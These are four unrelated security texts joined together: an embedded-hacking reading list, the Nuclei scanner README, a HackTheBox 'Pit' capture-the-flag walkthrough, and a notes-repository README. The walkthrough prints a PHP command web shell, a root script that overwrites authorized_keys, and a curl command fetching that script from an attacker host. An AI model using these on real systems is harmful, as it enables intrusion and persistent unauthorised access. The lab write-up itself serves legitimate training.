Breaking Hardware](https://nostarch.com/hardwarehackerpaperback) - 2016, Craig Smith: [The Car Hacker's Handbook: A Guide for the Penetration Tester](https://nostarch.com/carhacking) - 2015, Nitesh Dhanjan: [Abusing the Internet of Things: Blackouts, Freakouts, and Stakeouts](https://shop.oreilly.com/product/0636920033547.do) - 2014, Debdeep Mukhopadhyay: [Hardware Security: Design, Threats, and Safeguards](https://www.taylorfrancis.com/books/9780429066900) - 2014, Jack Ganssle: [The Firmware Handbook (Embedded Technology)](https://www.elsevier.com/books/the-firmware-handbook/ganssle/978-0-7506-7606-9) - 2013, Andrew Huang: [Hacking the XBOX](https://nostarch.com/xboxfree) ## Research Papers <!--lint ignore match-punctuation--> - 2019, Almakhdhub et al: [BenchIoT: A Security Benchmark for the Internet of Things](https://nebelwelt.net/publications/files/19DSN.pdf) - 2019, Alrawi et al: [SoK: Security Evaluation of Home-Based IoT Deployments](https://alrawi.github.io/static/papers/alrawi_sok_sp19.pdf) - 2019, Abbasi et al: [Challenges in Designing Exploit Mitigations for Deeply Embedded Systems](https://ieeexplore.ieee.org/abstract/document/8806725) - 2019, Song et al: [PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary](https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04A-1_Song_paper.pdf) - 2018, Muench et al: [What You Corrupt Is Not What You Crash: Challenges in Fuzzing Embedded Devices](http://www.eurecom.fr/en/publication/5417/download/sec-publi-5417.pdf) - 2017, O'Meara et al: [Embedded Device Vulnerability Analysis Case Study Using Trommel](https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=509271) - 2017, Jacob et al: [How to Break Secure Boot on FPGA SoCs through Malicious Hardware](https://eprint.iacr.org/2017/625.pdf) - 2017, Costin et al: [Towards Automated Classification of Firmware Images and Identification of Embedded Devices](http://s3.eurecom.fr/docs/ifip17_costin.pdf) - 2016, Kammerstetter et al: [Embedded Security Testing with Peripheral Device Caching and Runtime Program State Approximation](https://www.thinkmind.org/download.php?articleid=securware_2016_2_10_30082) - 2016, Chen et al: [Towards Automated Dynamic Analysis for Linux-based Embedded Firmware](https://www.dcddcc.com/docs/2016_paper_firmadyne.pdf) - 2016, Costin et al: [Automated Dynamic Firmware Analysis at Scale: A Case Study on Embedded Web Interfaces](http://s3.eurecom.fr/docs/asiaccs16_costin.pdf) - 2015, Shoshitaishvili et al:[Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware](https://www.ndss-symposium.org/wp-content/uploads/2017/09/11_1_2.pdf) - 2015, Papp et al: [Embedded Systems Security: Threats, Vulnerabilities, and Attack Taxonomy](http://www.cse.psu.edu/~pdm12/cse597g-f15/readings/cse597g-embedded_systems.pdf) - 2014, Zaddach et al: [Avatar: A Framework to Support Dynamic Security Analysis of Embedded Systems' Firmwares](http://www.eurecom.fr/en/publication/4158/download/rs-publi-4158.pdf) - 2014, Alimi et al: [Analysis of embedded applications by evolutionary fuzzing](http://ieeexplore.ieee.org/document/6903734/) - 2014, Costin et al: [A Large-Scale Analysis of the Security of Embedded Firmware s](http://www.s3.eurecom.fr/docs/usenixsec14_costin.pdf) - 2013, Davidson et al: [FIE on Firmware: Finding Vulnerabilities in Embedded Systems using Symbolic Execution](https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_davidson.pdf) ## Case Studies <!--lint ignore no-repeat-punctuation--> - [Binary Hardening in IoT products](https://cyber-itl.org/2019/08/26/iot-data-writeup.html) - [Cracking Linksys “Encryption”](http://www.devttys0.com/2014/02/cracking-linksys-crypto/) - [Deadly Sins Of Development](https://youtu.be/nXyglaY9N9w) - Conference talk presenting several real world examples on real bad implementations :tv:. - [Dumping firmware from a device's SPI flash with a buspirate](https://www.iotpentest.com/2019/06/dumping-firmware-from-device-using.html) - [Hacking the DSP-W215, Again](http://www.devttys0.com/2014/05/hacking-the-dspw215-again/) - [Hacking the PS4](https://cturt.github.io/ps4.html) - Introduction to PS4's security. - [Multiple vulnerabilities found in the D-link DWR-932B](https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html) - [Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol](https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html) - [PWN Xerox Printers (...again)](https://www.fkie.fraunhofer.de/content/dam/fkie/de/documents/xerox_phaser_6700_white_paper.pdf) - [Reversing Firmware With Radare](https://www.bored-nerds.com/reversing/radare/automotive/2019/07/07/reversing-firmware-with-radare.html) - [Reversing the Huawei HG533](http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/) ## Free Training - [CSAW Embedded Security Challenge 2019](https://github.com/TrustworthyComputing/csaw_esc_2019) - CSAW 2019 Embedded Security Challenge (ESC). - [Embedded Security CTF](https://microcorruption.com) - Microcorruption: Embedded Security CTF. - [Hardware Hacking 101](https://github.com/rdomanski/hardware_hacking/tree/master/my_talks/Hardware_Hacking_101) - Workshop @ BSides Munich 2019. - [IoTGoat](https://github.com/scriptingxss/IoTGoat) - IoTGoat is a deliberately insecure firmware based on OpenWrt. - [Rhme-2015](https://github.com/Riscure/RHme-2015) - First riscure Hack me hardware CTF challenge. - [Rhme-2016](https://github.com/Riscure/Rhme-2016) - Riscure Hack me 2 is a low level hardware CTF challenge. - [Rhme-2017/2018](https://github.com/Riscure/Rhme-2017) - Riscure Hack Me 3 embedded hardware CTF 2017-2018. ## Websites - [Hacking Printers Wiki](http://hacking-printers.net/wiki/index.php/Main_Page) - All things printer. - [OWASP Embedded Application Security Project](https://owasp.org/www-project-embedded-application-security/) - Development best practices and list of hardware and software tools. - [OWASP Internet of Things Project](https://owasp.org/www-project-internet-of-things/) - IoT common vulnerabilities and attack surfaces. - [Router Passwords](https://192-168-1-1ip.mobi/default-router-passwords-list/) - Default login credential database sorted by manufacturer. - [Siliconpr0n](https://siliconpr0n.org/) - A Wiki/Archive of all things IC reversing. ### Blogs <!--lint ignore no-repeat-punctuation--> - [/dev/ttyS0's Embedded Device Hacking](http://www.devttys0.com/blog/) - [Exploiteers](https://www.exploitee.rs/) - [Hackaday](https://hackaday.com) - [jcjc's Hack The World](https://jcjc-dev.com/) - [Quarkslab](https://blog.quarkslab.com/) - [wrong baud](https://wrongbaud.github.io/) ### Tutorials and Technical Background - [Azeria Lab](https://azeria-labs.com/) - Miscellaneous ARM related Tutorials. - [JTAG Explained](https://blog.senr.io/blog/jtag-explained#) - A walkthrough covering UART and JTAG bypassing a protected login shell. - [Reverse Engineering Serial Ports](http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/) - Detailed tutorial about how to spot debug pads on a PCB. - [UART explained](https://www.mikroe.com/blog/uart-serial-communication) - An in depth explanation of the UART protocol. ## Conferences Conferences focused on embedded and/or IoT security. - [Hardwear.io](https://hardwear.io/) - The Hague, September. - [Hardwear.io USA](https://hardwear.io/) - Santa Clara, June. ## Contribute Contributions welcome! Read the [contribution guidelines](contributing.md) first. ## License [![CC0](https://mirrors.creativecommons.org/presskit/buttons/88x31/svg/cc-zero.svg)](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, Fraunhofer FKIE has waived all copyright and related or neighboring rights to this work.
<h1 align="left"> <img src="static/nuclei-logo.png" alt="nuclei" width="200px"></a> <br> </h1> [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT) [![Go Report Card](https://goreportcard.com/badge/github.com/projectdiscovery/nuclei)](https://goreportcard.com/report/github.com/projectdiscovery/nuclei) [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei/issues) Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use. Nuclei is used to send requests across targets based on a template leading to zero false positives and providing effective scanning for known paths. Main use cases for nuclei are during initial reconnaissance phase to quickly check for low hanging fruits or CVEs across targets that are known and easily detectable. It uses [retryablehttp-go library](https://github.com/projectdiscovery/retryablehttp-go) designed to handle various errors and retries in case of blocking by WAFs, this is also one of our core modules from custom-queries. We have also [open-sourced a dedicated repository](https://github.com/projectdiscovery/nuclei-templates) to maintain various type of templates, we hope that you will contribute there too. Templates are provided in hopes that these will be useful and will allow everyone to build their own templates for the scanner. Checkout the guide at [**GUIDE.md**](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) for a primer on nuclei templates. # Resources - [Resources](#resources) - [Features](#features) - [Usage](#usage) - [Installation Instructions](#installation-instructions) - [From Binary](#from-binary) - [From Source](#from-source) - [Running in a Docker Container](#running-in-a-docker-container) - [Running nuclei](#running-nuclei) - [1. Running nuclei with a single template.](#1-running-nuclei-with-a-single-template) - [2. Running nuclei with multiple templates.](#2-running-nuclei-with-multiple-templates) - [3. Automating nuclei with subfinder and any other similar tool.](#3-automating-nuclei-with-subfinder-and-any-other-similar-tool) - [Thanks](#thanks) # Features <h1 align="left"> <img src="static/nuclei-run.png" alt="nuclei" width="700px"></a> <br> </h1> - Simple and modular code base making it easy to contribute. - Fast And fully configurable using a template based engine. - Handles edge cases doing retries, backoffs etc for handling WAFs. - Smart matching functionality for zero false positive scanning. # Usage ```bash nuclei -h ``` This will display help for the tool. Here are all the switches it supports. | Flag | Description | Example | |-------------------|-------------------------------------------------------|----------------------------------------------------| | -c | Number of concurrent requests (default 10) | nuclei -c 100 | | -l | List of urls to run templates | nuclei -l urls.txt | | -t | Templates input file/files to check across hosts | nuclei -t git-core.yaml | | -t | Templates input file/files to check across hosts | nuclei -t nuclei-templates/cves/ | | -nC | Don't Use colors in output | nuclei -nC | | -o | File to save output result (optional) | nuclei -o output.txt | | -silent | Show only found results in output | nuclei -silent | | -retries | Number of times to retry a failed request (default 1) | nuclei -retries 1 | | -timeout | Seconds to wait before timeout (default 5) | nuclei -timeout 5 | | -debug | Allow debugging of request/responses. | nuclei -debug | | -v | Shows verbose output of all sent requests | nuclei -v | | -version | Show version of nuclei | nuclei -version | | -proxy-url | Proxy URL | nuclei -proxy-url http://user:[email protected]:8080 | | -proxy-socks-url | Proxy Socks URL | nuclei -proxy-socks-url socks5://user:[email protected]:9050 | | -H | Custom Header | nuclei -H "x-bug-bounty: hacker" | # Installation Instructions ### From Binary The installation is easy. You can download the pre-built binaries for your platform from the [Releases](https://github.com/projectdiscovery/nuclei/releases/) page. Extract them using tar, move it to your `$PATH`and you're ready to go. ```bash > tar -xzvf nuclei-linux-amd64.tar.gz > mv nuclei-linux-amd64 /usr/bin/nuclei > nuclei -h ``` ### From Source nuclei requires go1.13+ to install successfully. Run the following command to get the repo - ```bash > GO111MODULE=on go get -u -v github.com/projectdiscovery/nuclei/cmd/nuclei ``` In order to update the tool, you can use -u flag with `go get` command. ### Running in a Docker Container - Clone the repo using `git clone https://github.com/projectdiscovery/nuclei.git` - Build your docker container ```bash > docker build -t projectdiscovery/nuclei . ``` - After building the container using either way, run the following: ```bash > docker run -it projectdiscovery/nuclei ``` For example, this will run the tool against all the hosts in `urls.txt` and output the results to your host file system: ```bash > cat urls.txt | docker run -v /path-to-nuclei-templates:/go/src/app/ -i projectdiscovery/nuclei -t ./files/git-config.yaml > results.txt ``` Remember to change `/path-to-nuclei-templates` to the real path on your host file system. # Running nuclei ### 1. Running nuclei with a single template. This will run the tool against all the hosts in `urls.txt` and returns the matched results. ```bash > nuclei -l urls.txt -t git-core.yaml -o results.txt ``` You can also pass the list of hosts at standard input (STDIN). This allows for easy integration in automation pipelines. This will run the tool against all the hosts in `urls.txt` and returns the matched results. ```bash > cat urls.txt | nuclei -t git-core.yaml -o results.txt ``` ### 2. Running nuclei with multiple templates. This will run the tool against all the hosts in `urls.txt` with all the templates in the `path-to-templates` directory and returns the matched results. ```bash > nuclei -l urls.txt -t nuclei-templates/cves/ -o results.txt ``` ### 3. Automating nuclei with subfinder and any other similar tool. ```bash > subfinder -d hackerone.com -silent | httpx -silent | nuclei -t nuclei-templates/cves/ -o results.txt ``` Nuclei supports glob expression ending in `.yaml` meaning multiple templates can be easily passed to be executed one after the other. Please refer to [this guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build your own custom templates. # Thanks nuclei is made with 🖤 by the [projectdiscovery](https://projectdiscovery.io) team. Community contributions have made the project what it is. See the **[Thanks.md](https://github.com/projectdiscovery/nuclei/blob/master/THANKS.md)** file for more details. Do also check out these similar awesome projects that may fit in your workflow: [https://portswigger.net/burp](https://portswigger.net/burp)</br> [https://github.com/ffuf/ffuf](https://github.com/ffuf/ffuf)</br> [https://github.com/jaeles-project/jaeles](https://github.com/jaeles-project/jaeles)</br> [https://github.com/ameenmaali/qsfuzz](https://github.com/ameenmaali/qsfuzz)</br> [https://github.com/proabiral/inception](https://github.com/proabiral/inception)</br> [https://github.com/hannob/snallygaster](https://github.com/hannob/snallygaster)</br>
# Pit - HackTheBox - Writeup Linux, 30 Base Points, Medium ## Machine ![‏‏Pit.JPG](images/Pit.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```22```, ```80``` and ```9090```. ***User***: Using ```nmap``` UDP port scanning we found another two ports ```161``` and ```500```, On the following [Twitter post](https://twitter.com/hackthebox_eu/status/1392494135421120516) related to this machine we found a hint about ```snmapwalk``` use, Using ```snmpwalk``` we found another website portal on port ```80``` and username ```michelle```, Found the portal credentials to SeedDMS 5.1.15 system, And by using [SeedDMS versions < 5.1.11 - Remote Command Execution](https://www.exploit-db.com/exploits/47022) we get the user flag. ***Root***: From ```snmpwalk``` we found script ```/usr/bin/monitor```, The script running script located on ```/usr/local/monitoring/``` directory, By creating a script which adds our ```SSH``` private key to root ```authorized_keys``` we get the root flag. ![pwn.JPG](images/pwn.JPG) ## Pit Solution ### User Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Pit] └──╼ $ nmap -sC -sV -oA nmap/Pit 10.10.10.241 Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 23:46 IDT Nmap scan report for 10.10.10.241 Host is up (0.082s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA) | 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA) |_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519) 80/tcp open http nginx 1.14.1 |_http-server-header: nginx/1.14.1 |_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux 9090/tcp open ssl/zeus-admin? | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 400 Bad request | Content-Type: text/html; charset=utf8 | Transfer-Encoding: chunked | X-DNS-Prefetch-Control: off | Referrer-Policy: no-referrer | X-Content-Type-Options: nosniff | Cross-Origin-Resource-Policy: same-origin | <!DOCTYPE html> | <html> | <head> | <title> | request | </title> | <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <style> | body { | margin: 0; | font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif; | font-size: 12px; | line-height: 1.66666667; | color: #333333; | background-color: #f5f5f5; | border: 0; | vertical-align: middle; | font-weight: 300; |_ margin: 0 0 10p | ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US | Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1 | Not valid before: 2020-04-16T23:29:12 |_Not valid after: 2030-06-04T16:09:12 |_ssl-date: TLS randomness does not represent time 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9090-TCP:V=7.80%T=SSL%I=7%D=6/17%Time=60CBB4DB%P=x86_64-pc-linux-gn SF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type: SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DN SF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Cont SF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-o SF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20 SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<met SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utf SF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=de SF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\x SF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDi SF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\ SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666 SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\ SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20# SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2 SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\ SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\ SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w SF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mar SF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20r SF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-Encod SF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x SF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-Res SF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n< SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title SF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te SF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\ SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x SF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fon SF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20A SF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20f SF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lin SF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20 SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\ SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20 SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 214.52 seconds ``` Let's browse ports ```9090``` and ```80``` (add ```dms-pit.htb```, ```pit.htb``` domains to ```/etc/hosts```). Port ```80``` [http://10.10.10.241/](http://10.10.10.241/) contains the following web site: ![port80.JPG](images/port80.JPG) Port ```9090``` [https://dms-pit.htb:9090/](https://dms-pit.htb:9090/) contains: ![port9090.JPG](images/port9090.JPG) Nothing juicy on both websites. Let's try to scan UDP ports: ```console ┌─[evyatar@parrot]─[/hackthebox/Pit] └──╼ $ sudo nmap -sU -F 10.10.10.241 Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-18 17:03 IDT Nmap scan report for dms-pit.htb (10.10.10.241) Host is up (0.082s latency). Not shown: 98 open|filtered ports PORT STATE SERVICE 161/udp open snmp 500/udp filtered isakmp Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds ``` We found another port ```161``` which is ```snmp``` service behind. By looking at [Twitter post](https://twitter.com/hackthebox_eu/status/1392494135421120516) related to this machine we can get A hint for the next step: ![twitter.JPG](images/twitter.JPG) Follow the hint, Let's use [snmpwalk](https://linux.die.net/man/1/snmpwalk): ```console ┌─[evyatar@parrot]─[/hackthebox/Pit] └──╼ $ snmpwalk -v 1 -c public 10.10.10.241 .1 > walk.out ┌─[evyatar@parrot]─[/hackthebox/Pit] └──╼ $ cat walk.out ... guest_u user s0 s0 guest_r root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r sysadm_u user s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r unconfined_r unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r xguest_u user s0 s0 xguest_r login Login Name SELinux User MLS/MCS Range Service __default__ unconfined_u s0-s0:c0.c1023 * michelle user_u s0 * root unconfined_u s0-s0:c0.c1023 * System uptime 10:30:57 up 17:41, 0 users, load average: 0.00, 0.00, 0.00" iso.3.6.1.4.1.8072.1.3.2.3.1.3.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 31 iso.3.6.1.4.1.8072.1.3.2.3.1.4.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 0 iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.1 = STRING: "Memory usage" ... iso.3.6.1.4.1.2021.9.1.1.1 = INTEGER: 1 iso.3.6.1.4.1.2021.9.1.1.2 = INTEGER: 2 iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/" iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms" iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root" iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms" iso.3.6.1.4.1.2021.9.1.4.1 = INTEGER: 10000 iso.3.6.1.4.1.2021.9.1.4.2 = INTEGER: 100000 .... ``` As we can see, we get username ```michelle```, And also another webpage that is located on ```/var/www/html/seeddms51x/seeddms```. Let's try to observe the URL: [http://dms-pit.htb/seeddms51x/seeddms](http://dms-pit.htb/seeddms51x/seeddms): ![seeddms.JPG](images/seeddms.JPG) After few tries, found the following credentials ```michelle:michelle``` work, We can access the dashboard: ![dashboard.JPG](images/dashboard.JPG) We can see the Administrator notes: >Dear colleagues, Because of security issues in the previously installed version (5.1.10), I upgraded SeedDMS to version 5.1.15. See the attached CH... According to the admin notes - we are dealing with SeedDMS 5.1.15 which we can found the following RCE [https://www.exploit-db.com/exploits/47022](https://www.exploit-db.com/exploits/47022). First, Let's browse this link to add a new document [http://dms-pit.htb/seeddms51x/seeddms/out/out.AddDocument.php?folderid=8&showtree=1](http://dms-pit.htb/seeddms51x/seeddms/out/out.AddDocument.php?folderid=8&showtree=1): ![newdoc.JPG](images/newdoc.JPG) ```pshell.php``` file contains the follow: ```php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ``` Next, We can get the document id by clicking on the document link and hover on the Download button: ![hover.JPG](images/hover.JPG) Now, We can get RCE by browsing the following link [http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=cat+/etc/passwd](http://dms-pit.htb/seeddms51x/data/1048576/30/1.php?cmd=cat+/etc/passwd): ![RCE.JPG](images/RCE.JPG) By accessing to [view-source:http://dms-pit.htb/seeddms51x/data/1048576/33/1.php?cmd=cat%20/var/www/html/seeddms51x/conf/settings.xml](view-source:http://dms-pit.htb/seeddms51x/data/1048576/33/1.php?cmd=cat%20/var/www/html/seeddms51x/conf/settings.xml) We can get the following credentials: ![creds.JPG](images/creds.JPG) So we can access port 9090 [https://dms-pit.htb:9090/](https://dms-pit.htb:9090/) with the following creds: ```michelle:ied^ieY6xoquu``` and we get the following: ![cockpit.JPG](images/cockpit.JPG) By clicking on Terminal we can get the user flag: ![user.JPG](images/user.JPG) And we get the user flag ```e1020e71e1b0da2c33c36d460b8f3f89```. ### Root ```snmpwalk``` give us also the following information: ```console iso.3.6.1.4.1.2021.9.1.16.1 = Gauge32: 0 iso.3.6.1.4.1.2021.9.1.16.2 = Gauge32: 0 iso.3.6.1.4.1.2021.9.1.100.1 = INTEGER: 0 iso.3.6.1.4.1.2021.9.1.100.2 = INTEGER: 1 iso.3.6.1.4.1.8072.1.3.2.1.0 = INTEGER: 1 iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor" iso.3.6.1.4.1.8072.1.3.2.2.1.3.10.109.111.110.105.116.111.114.105.110.103 = "" iso.3.6.1.4.1.8072.1.3.2.2.1.4.10.109.111.110.105.116.111.114.105.110.103 = "" iso.3.6.1.4.1.8072.1.3.2.2.1.5.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 5 iso.3.6.1.4.1.8072.1.3.2.2.1.6.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 1 iso.3.6.1.4.1.8072.1.3.2.2.1.7.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 1 ``` Let's try to observe this file ```/usr/bin/monitor```: ```bash #!/bin/bash for script in /usr/local/monitoring/check*sh do /bin/bash $script done ``` Let's create script called ```check_me.sh``` which contains: ```bash #!/bin/bash echo "ssh-rsa <SSH_PUBLIC_KEY> evyatar@parrot" > /root/.ssh/authorized_keys ``` The script adds our public key to ```root``` authorized_keys. Let's upload this script to ```/usr/local/monitoring/``` using ```curl```: ```console [michelle@pit monitoring]$ pwd /usr/local/monitoring [michelle@pit monitoring]$ curl http://10.10.14.14:8000/check_me.sh -o check_me.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 601 100 601 0 0 3756 0 --:--:-- --:--:-- --:--:-- 3756 [michelle@pit monitoring]$ ``` Now, Let's run again ```snmpwalk``` command: ```snmpwalk -v 1 -c public 10.10.10.241 .1``` to execute the script above. When It's done we can make ```SSH``` login as root using our ```SSH``` private key: ```console ┌─[evyatar@parrot]─[/hackthebox/Pit] └──╼ $ ssh -i id_rsa [email protected] Web console: https://pit.htb:9090/ Last login: Mon May 10 11:42:46 2021 [root@pit ~]# whoami root [root@pit ~]# cat root.txt 0730dc58aa29524e312f7983c0316f1d [root@pit ~]# ``` And we get the root flag ```0730dc58aa29524e312f7983c0316f1d```.
# Cybersecurity Notes My Markdown notes for all things cybersecurity. Best viewed in Obsidian. Read on to find out how to install this repository, and where to start finding the information you need. **DISCLAIMER:** These notes are for educational purposes only. Use them as a learning resource or a reference guide when performing tests with *explicit permission*. I'm sure you've seen similar disclaimers on Cybersecurity resources before, but always make sure you have permission to do what you're doing. I am not responsible or liable if you misuse this resource and get into trouble. Certain files contain examples of Windows shellcode (for example, the files in the writeup for the HacktheBox machine [Cereal](https://github.com/Twigonometry/Cybersecurity-Notes/tree/main/Writeups/Hack%20the%20Box/Boxes/Cereal). You may have to add a Windows Defender exclusion to prevent Windows from quarantining these files, or view the Obsidian vault in a Unix system instead. ## Installing Obsidian ### On Windows Go to [the download page](https://obsidian.md/download)... and click Download ### On Kali Go to [the download page](https://obsidian.md/download), and download the AppImage. Put it in any directory you want (I went with `~/Applications`) You can either double click the file to run it, or run it with `/path/to/Obsidian-0.11.9.AppImage` You may get the following error while running: ```bash ┌──(mac㉿kali)-\[~/Applications\] └─$ ./Obsidian-0.11.9.AppImage \[2122:0327/193255.690087:FATAL:setuid\_sandbox\_host.cc(158)\] The SUID sandbox helper binary was found, but is not configured correctly. Rather than run without sandboxing I'm aborting now. You need to make sure that /tmp/.mount\_Obsidi1nvAuD/chrome-sandbox is owned by root and has mode 4755. Trace/breakpoint trap ``` To fix this, run obsidian with the `--no-sandbox` flag I setup this alias in `~/.bashrc`: ```bash alias obsidian="~/Applications/Obsidian-0.11.9.AppImage --no-sandbox" ``` Finally, if Obsidian stops responding on launch, update Kali: 